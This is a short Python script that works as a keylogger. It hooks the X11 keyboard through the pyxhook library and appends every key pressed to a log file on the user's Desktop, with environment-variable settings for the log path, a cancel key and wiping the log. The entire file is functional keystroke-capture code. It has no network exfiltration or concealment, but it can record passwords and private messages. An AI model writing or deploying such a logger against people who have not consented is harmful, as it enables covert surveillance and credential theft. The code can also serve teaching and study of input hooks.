main.py

import os
import pyxhook
  

log_file = os.environ.get(
    'pylogger_file',
    os.path.expanduser('~/Desktop/output.log')
)

cancel_key = ord(
    os.environ.get(
        'pylogger_cancel',
        '`'
    )[0]
)
  
if os.environ.get('pylogger_clean', None) is not None:
    try:
        os.remove(log_file)
    except EnvironmentError:
       # File does not exist, or no permissions.
        pass
  

def OnKeyPress(event):
    with open(log_file, 'a') as f:
        f.write('{}\n'.format(event.Key))
  

new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
new_hook.HookKeyboard()
try:
    new_hook.start()
except KeyboardInterrupt:
    pass
except Exception as ex:
    msg = 'Error while catching events:\n  {}'.format(ex)
    pyxhook.print_err(msg)
    with open(log_file, 'a') as f:
        f.write('\n{}'.format(msg))